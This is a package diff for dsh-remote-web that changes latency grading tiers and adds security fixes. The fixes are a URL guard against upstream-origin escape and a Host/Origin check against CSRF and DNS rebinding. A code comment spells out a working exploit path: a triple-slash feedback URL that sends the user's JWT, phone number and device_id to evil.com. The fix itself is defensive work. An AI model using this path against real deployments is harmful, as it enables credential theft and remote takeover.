dsh-remote-web 0.6.18-beta.3 → 0.6.18-beta.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/client.js CHANGED
@@ -1167,12 +1167,14 @@ window.__ModuleLoader__.load({
1167
1167
  /**
1168
1168
  * 延迟 → 人话。
1169
1169
  * 🔒 无样本时必须说「测速中…」而**不是 0ms**:0ms 是句谎话(这个页面根本还没量过),
1170
- * 而"测速中"如实表达了"还没有样本"。分档:≤120 顺畅 / ≤300 一般 / >300 较慢。
1170
+ * 而"测速中"如实表达了"还没有样本"。
1171
+ * 分档(2026-09-27 按业主口径放宽):≤500 顺畅 / ≤1000 正常 / ≤2000 偏慢 / >2000 很慢 ——
1172
+ * 文本窗口的远程操作,500ms 内都算顺畅、1000ms 内正常流畅;旧 120/300 会把正常网络误报成"较慢"。
1171
1173
  */
1172
1174
  function netLatText() {
1173
1175
  if (!netLat.samples) return "测速中…";
1174
1176
  var ms = Math.max(1, Math.round(netLat.ms));
1175
- var tone = ms <= 120 ? "顺畅" : ms <= 300 ? "一般" : "较慢";
1177
+ var tone = ms <= 500 ? "顺畅" : ms <= 1000 ? "正常" : ms <= 2000 ? "偏慢" : "很慢";
1176
1178
  return "网络延迟 " + ms + "ms · " + tone;
1177
1179
  }
1178
1180
 
package/lib/index.js CHANGED
@@ -2884,13 +2884,45 @@ async function feedbackAuthToken(relayDir) {
2884
2884
  else fbTokenCache = { token: "", exp: 0 };
2885
2885
  return t;
2886
2886
  }
2887
+ /**
2888
+ * 把「请求路径后缀」安全地拼到上游基址上(2026-09-27 安全审计 S4-C0)。
2889
+ *
2890
+ * ⚠️ 为什么不能只 `new URL(suffix, base)`:`suffix` 来自**请求路径**,而
2891
+ * `new URL("//evil.com/x", base)` 是**协议相对 URL** —— origin 直接跳到 evil.com。
2892
+ * 实测逃逸形态是**三斜杠**:请求 `/dsh-remote/feedback///evil.com/collect`,
2893
+ * 路由前缀匹配通过(pathname 原样保留三斜杠),旧代码只 `replace(/^\//,"")` 剥掉一个,
2894
+ * 于是剩下 `//evil.com/collect` → 解析成 `https://evil.com/collect`,
2895
+ * 而 proxyFeedback 会**自动带上本机账号 JWT + 真实手机号 + device_id** ——
2896
+ * 攻击者凭这个 JWT 就能签发设备访问密钥、配对到自己手机上 = 用户电脑被完整接管。
2897
+ * 两斜杠/`%2f`/`..` 都被限制在中继域内,**唯独三斜杠会逃逸**。
2898
+ *
2899
+ * 两道断言(不是二选一,缺一不可):
2900
+ * ① origin 必须与基址一致 → 挡住协议相对/绝对 URL 逃逸;
2901
+ * ② pathname 必须以基址路径为前缀 → 挡住 `..` 逃出基址路径(如 /relay-api/ → /api/)。
2902
+ * 任何一条不过就抛,调用方按 4xx/5xx 处理,**绝不在这种情况下把凭据发出去**。
2903
+ */
2904
+ export function safeUpstreamUrl(base, suffix) {
2905
+ const b = new URL(base);
2906
+ const u = new URL(String(suffix == null ? "" : suffix).replace(/^\/+/, ""), b);
2907
+ if (u.origin !== b.origin) throw new Error(`上游地址逃逸(origin): ${u.origin} ≠ ${b.origin}`);
2908
+ const prefix = b.pathname.endsWith("/") ? b.pathname : `${b.pathname}/`;
2909
+ if (!u.pathname.startsWith(prefix)) throw new Error(`上游路径逃逸(path): ${u.pathname} 不在 ${prefix} 之下`);
2910
+ return u;
2911
+ }
2912
+
2887
2913
  async function proxyFeedback(relayDir, req, res, pathname) {
2888
2914
  const cfg = loadConfig(relayDir);
2889
2915
  const api = feedbackApiOf(cfg);
2890
2916
  const suffix = pathname.replace(/^\/dsh-remote\/feedback/, "") || "/";
2891
- // 相对路径解析:保留基址的路径前缀(如 /relay-api),避免 new URL 绝对路径吞掉 base path
2917
+ // 相对路径解析:保留基址的路径前缀(如 /relay-api),避免 new URL 绝对路径吞掉 base path。
2918
+ // 必须走 safeUpstreamUrl:拼错的/恶意的后缀会带着账号 JWT 跑到别的域去(S4-C0)。
2892
2919
  const base = api.endsWith("/") ? api : `${api}/`;
2893
- const url = new URL(suffix.replace(/^\//, ""), base);
2920
+ let url;
2921
+ try {
2922
+ url = safeUpstreamUrl(base, suffix);
2923
+ } catch (e) {
2924
+ return sendJson(res, 400, { ok: false, error: `非法的反馈接口路径: ${e.message}` });
2925
+ }
2894
2926
  const headers = {
2895
2927
  "x-dsh-device": cfg.device_id || "",
2896
2928
  "x-dsh-client": `dsh-remote-web/${PLUGIN_VERSION}`,
@@ -5654,6 +5686,78 @@ async function sendWeChatProxy(relayDir, res, routePath, init) {
5654
5686
  return sendJson(res, r.status, { ok: false, code: r.code, error: r.error });
5655
5687
  }
5656
5688
 
5689
+ // ============================================================
5690
+ // 本地宿主路由的跨站防护(2026-09-27 安全审计)
5691
+ //
5692
+ // 背景:本插件把 /dsh-remote/* 注册在**本机** dsh web 上,这一层没有任何鉴权
5693
+ // (设计如此:桌面端面板与页面同源,靠"只有本机能访问"来保证安全)。
5694
+ // 但"只有本机能访问"不等于"同源" —— 浏览器里任何网页都能向 127.0.0.1:3080 发请求:
5695
+ // · 经典 CSRF:evil.com 表单/fetch(no-cors) POST /dsh-remote/self/uninstall、/config
5696
+ // · DNS rebinding:把 evil.com 解析到 127.0.0.1,浏览器视为同源,于是能**读到**
5697
+ // /dsh-remote/diag/bundle(诊断包,含本机路径与配置)与
5698
+ // /dsh-remote/access-key(能签发设备访问密钥 = 拿到这台电脑的远程控制权)
5699
+ // 这些路由里有卸载插件、改配置、重启 harness、签发访问密钥,必须挡住。
5700
+ //
5701
+ // 判据(两条独立):
5702
+ // ① Host 白名单:只认 loopback authority。rebinding 时 Host 是攻击者域名 → 拒;
5703
+ // ② Origin / Sec-Fetch-Site:带 Origin 且与 Host 不同源 → 拒;sec-fetch-site: cross-site → 拒。
5704
+ //
5705
+ // 为什么不会误伤手机端:隧道请求由 dsh-bridge 剥掉 host/origin/sec-fetch-*
5706
+ // (clients/dsh-remote/dsh-bridge.mjs 的 STRIP_REQ_HEADERS),再由 undici 补上
5707
+ // Host: 127.0.0.1:<port>。所以隧道流量天然过 ①、且不带 Origin 而过 ②。
5708
+ //
5709
+ // 逃生舱:DSH_REMOTE_LOCAL_GUARD=0 关闭整层;
5710
+ // DSH_REMOTE_TRUSTED_HOSTS=a.com,b(放在 dsh web 前面的反向代理需要它)。
5711
+ // ============================================================
5712
+ const LOOPBACK_HOST_RE = /^(127\.0\.0\.1|localhost|\[::1\]|::1)(:\d+)?$/i;
5713
+ /**
5714
+ * 私网 / 链路本地 / mDNS 的 authority。
5715
+ *
5716
+ * 为什么必须放行:本插件**自己**会把 dsh web 绑到 `0.0.0.0`(见 `cordis.patch.yml` 里那段
5717
+ * `remote-web-ui lan-bind block`)——「局域网直连」是产品功能(同一 Wi-Fi 下的平板/手机直连),
5718
+ * 只认 loopback 会把它整个挡死。真机验收时就是这么发现的。
5719
+ *
5720
+ * 放行它们**不等于**放开安全边界:
5721
+ * · DNS rebinding 仍被挡:攻击者页面把 evil.com 指到本机时,请求头里的 Host 是 **evil.com**
5722
+ * (浏览器按 URL 里的主机名发 Host,不看它解析到哪个 IP)→ 仍然命中 bad-host;
5723
+ * · CSRF 仍被挡:跨站请求的 Origin 与 Host 必然不同源 → 命中 origin-mismatch(下面 ②);
5724
+ * · 唯一多让出来的是「Host 恰好是私网 IP 字面量」的请求,而它只可能来自**同源页面**
5725
+ * (也就是本机自己服务的那个页面),不构成新的攻击面。
5726
+ */
5727
+ const PRIVATE_HOST_RE = new RegExp(
5728
+ "^(?:" + [
5729
+ "10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}",
5730
+ "192\\.168\\.\\d{1,3}\\.\\d{1,3}",
5731
+ "172\\.(?:1[6-9]|2\\d|3[01])\\.\\d{1,3}\\.\\d{1,3}",
5732
+ "169\\.254\\.\\d{1,3}\\.\\d{1,3}",
5733
+ "[a-z0-9][a-z0-9-]*\\.local",
5734
+ "\\[(?:fe80|fc|fd)[0-9a-f:]*\\]"
5735
+ ].join("|") + ")(:\\d+)?$",
5736
+ "i"
5737
+ );
5738
+ const LOCAL_GUARD_LOGGED = new Map(); // reason -> 上次告警时间(同一原因 60s 只报一次,避免刷日志)
5739
+
5740
+ /** 只读地判断一个请求是否来自"本机同源页面"。返回 null=放行,否则返回拒绝原因。
5741
+ * 导出仅为可测(见 test/local-route-guard.test.mjs)。 */
5742
+ export function localRequestBlocked(req) {
5743
+ if (String(process.env.DSH_REMOTE_LOCAL_GUARD || "") === "0") return null;
5744
+ const extra = String(process.env.DSH_REMOTE_TRUSTED_HOSTS || "")
5745
+ .split(",").map((s) => s.trim().toLowerCase()).filter(Boolean);
5746
+ const headers = (req && req.headers) || {};
5747
+ const host = String(headers.host || "").trim().toLowerCase();
5748
+ if (!host) return "missing-host";
5749
+ if (!LOOPBACK_HOST_RE.test(host) && !PRIVATE_HOST_RE.test(host) && !extra.includes(host)) return "bad-host";
5750
+ const origin = String(headers.origin || "").trim().toLowerCase();
5751
+ // Origin: null(file:// 或 sandbox iframe)不在这里判,交给下面的 sec-fetch-site
5752
+ if (origin && origin !== "null") {
5753
+ let oh = "";
5754
+ try { oh = new URL(origin).host.toLowerCase(); } catch { return "bad-origin"; }
5755
+ if (oh !== host && !extra.includes(oh)) return "origin-mismatch";
5756
+ }
5757
+ if (String(headers["sec-fetch-site"] || "").trim().toLowerCase() === "cross-site") return "cross-site";
5758
+ return null;
5759
+ }
5760
+
5657
5761
  function registerRoutes(ctx, relayDir) {
5658
5762
  // 本插件所在 profile(由插件自身文件位置推导,覆盖市场 git 安装与本地 include 两种形态)
5659
5763
  let profileDir = join(homedir(), ".dsh", "profiles", "web");
@@ -6390,6 +6494,21 @@ function registerRoutes(ctx, relayDir) {
6390
6494
  res.end();
6391
6495
  return;
6392
6496
  }
6497
+ // 跨站防护:详见 localRequestBlocked 的注释(DNS rebinding / CSRF)
6498
+ const blocked = localRequestBlocked(req);
6499
+ if (blocked) {
6500
+ const now = Date.now();
6501
+ const last = LOCAL_GUARD_LOGGED.get(blocked) || 0;
6502
+ if (now - last > 60_000) {
6503
+ LOCAL_GUARD_LOGGED.set(blocked, now);
6504
+ ctx.logger?.warn?.(
6505
+ `dsh-remote-web: 已拦截跨站请求 ${route.method} ${route.path}(${blocked})` +
6506
+ ` host=${req.headers?.host || "-"} origin=${req.headers?.origin || "-"}`
6507
+ );
6508
+ }
6509
+ sendJson(res, 403, { ok: false, error: "forbidden", reason: blocked });
6510
+ return;
6511
+ }
6393
6512
  Promise.resolve(route.handler(req, res)).catch((e) => {
6394
6513
  ctx.logger?.warn?.(`dsh-remote-web: ${route.method} ${route.path} failed: ${e?.stack || e}`);
6395
6514
  if (!res.headersSent) sendJson(res, 500, { ok: false, error: String(e?.message || e) });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dsh-remote-web",
3
- "version": "0.6.18-beta.3",
3
+ "version": "0.6.18-beta.5",
4
4
  "description": "公网远程控制 DeepSeek Harness(dsh web):安装即得专属加密地址,人在外面也能用手机访问电脑上的 dsh——无需同一局域网/WiFi、无需公网 IP 与内网穿透,全程加密;手机端 100% 还原电脑体验(对话/工具/审批/设置)。技术用户可选自建服务,流量走自己的服务器。Remote control DeepSeek Harness (dsh web) from anywhere over the public internet — install, get an encrypted URL, use it from your phone on any network (dual-half cordis plugin: Settings panel + same-origin /dsh-remote routes). (2026-09 由 dsh-remote-ui 更名 / renamed from dsh-remote-ui; dsh-remote 的 dsh web 插件半,不是纯 UI/皮肤插件)",
5
5
  "type": "module",
6
6
  "main": "lib/index.js",
@@ -1238,7 +1238,11 @@ const SCRIPT = `(() => {
1238
1238
  · 失败(reject)/超时(>20s)/亚毫秒(同一帧内的缓存命中)都不进样本:
1239
1239
  前者不是网络耗时,后者会算出 0ms 这种"谎言";
1240
1240
  · **无样本时显示「测速中…」而不是 0ms** —— 0ms 会让人以为网络飞快。
1241
- 分档:≤120ms 顺畅 / ≤300ms 一般 / >300ms 较慢(移动网络下这三档比较贴合体感)。 */
1241
+ 分档(2026-09-27 业主口径调整):≤500ms 顺畅 / ≤1000ms 正常 / ≤2000ms 偏慢 / >2000ms 很慢。
1242
+ 为什么放宽:这是个**文本窗口**的远程操作界面(看输出、敲字、点按钮),
1243
+ 对往返延迟本来就宽容 —— 业主原话「500ms 以内的延迟都不叫事,1000ms 使用起来也是正常流畅的」。
1244
+ 旧的 120/300 分档是照"网页首屏"的体感定的,会把大量正常可用的移动网络误报成"较慢",
1245
+ 反而让用户以为哪里坏了。 */
1242
1246
  const RTT_KEEP = 8, RTT_MAX_MS = 20000;
1243
1247
  const rttSamples = [];
1244
1248
  const rttEl = fab.querySelector('[data-role="rtt"]');
@@ -1249,8 +1253,10 @@ const SCRIPT = `(() => {
1249
1253
  const mid = s.length >> 1;
1250
1254
  return s.length % 2 ? s[mid] : Math.round((s[mid - 1] + s[mid]) / 2);
1251
1255
  };
1252
- const rttGrade = (ms) => (ms <= 120 ? "ok" : ms <= 300 ? "mid" : "bad");
1253
- const rttLabel = (g) => (g === "ok" ? "顺畅" : g === "mid" ? "一般" : "较慢");
1256
+ /* 分档(2026-09-27 按业主口径放宽):文本窗口的远程操作,500ms 内都算顺畅、1000ms 内正常流畅。
1257
+ ok=顺畅 / mid=正常 / slow=偏慢 / bad=很慢 —— 颜色只用于区分,**不把"正常"渲染成告警色**。 */
1258
+ const rttGrade = (ms) => (ms <= 500 ? "ok" : ms <= 1000 ? "mid" : ms <= 2000 ? "slow" : "bad");
1259
+ const rttLabel = (g) => (g === "ok" ? "顺畅" : g === "mid" ? "正常" : g === "slow" ? "偏慢" : "很慢");
1254
1260
  const FAB_TITLE_BASE = "远程控制:字号 / 网络延迟 / 加密状态 / 返回设备列表(可拖动移动位置)";
1255
1261
  const renderRtt = () => {
1256
1262
  try {